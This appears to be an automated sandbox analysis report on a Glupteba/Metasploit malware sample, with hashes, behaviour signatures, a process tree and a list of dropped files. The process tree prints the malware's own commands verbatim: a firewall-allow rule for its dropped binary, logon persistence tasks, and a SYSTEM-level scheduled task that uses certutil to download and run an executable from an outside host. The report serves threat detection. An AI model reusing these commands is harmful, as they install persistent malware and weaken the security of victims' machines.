Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    26-12-2024 22:04

General

  • Target

    JaffaCakes118_630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8.exe

  • Size

    4.4MB

  • MD5

    45f91ffa762c4f538e40f5fafa156334

  • SHA1

    78e228b986fc746cbedf47ccc7d0f0ace8847025

  • SHA256

    630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8

  • SHA512

    a08f5235823e7c2bde7ec404bc5111748981f9f9c5f5d7a44661c180fa6c1b77171e3cfed58e1274adcc364ee7e519d12cadd32008749af0d19d112618d82ac1

  • SSDEEP

    98304:mTpXhEkwtC1gGsw5da71jFPAg/QoHPOyqKJVBOV2YomVAuT5qs8O:MXhEkwoGNjjPOyqKEgKX/8O

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba family
  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Metasploit family
  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 4 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2672
    • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8.exe
      "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:2348
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /51-51
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:2648
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1588
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1936
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:1652
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241226220500.log C:\Windows\Logs\CBS\CbsPersist_20241226220500.cab
    1⤵
    • Drops file in Windows directory
    PID:2864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    4.4MB

    MD5

    45f91ffa762c4f538e40f5fafa156334

    SHA1

    78e228b986fc746cbedf47ccc7d0f0ace8847025

    SHA256

    630cd4d358fefb00c803d30c12d5cb2f30dabde0316c5245f5ec0d58652026e8

    SHA512

    a08f5235823e7c2bde7ec404bc5111748981f9f9c5f5d7a44661c180fa6c1b77171e3cfed58e1274adcc364ee7e519d12cadd32008749af0d19d112618d82ac1

  • memory/1652-42-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1652-28-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2604-8-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2604-21-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2604-9-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2604-10-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2604-5-0x0000000000F00000-0x000000000133B000-memory.dmp

    Filesize

    4.2MB

  • memory/2648-72-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-74-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-82-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-81-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-80-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-76-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-75-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-20-0x0000000001130000-0x000000000156B000-memory.dmp

    Filesize

    4.2MB

  • memory/2648-55-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-67-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-68-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-69-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-70-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-71-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-73-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2672-0-0x0000000000F30000-0x000000000136B000-memory.dmp

    Filesize

    4.2MB

  • memory/2672-1-0x0000000000F30000-0x000000000136B000-memory.dmp

    Filesize

    4.2MB

  • memory/2672-2-0x0000000001370000-0x0000000001C8E000-memory.dmp

    Filesize

    9.1MB

  • memory/2672-3-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2672-6-0x0000000000F30000-0x000000000136B000-memory.dmp

    Filesize

    4.2MB

  • memory/2672-7-0x0000000001370000-0x0000000001C8E000-memory.dmp

    Filesize

    9.1MB

  • memory/2672-4-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB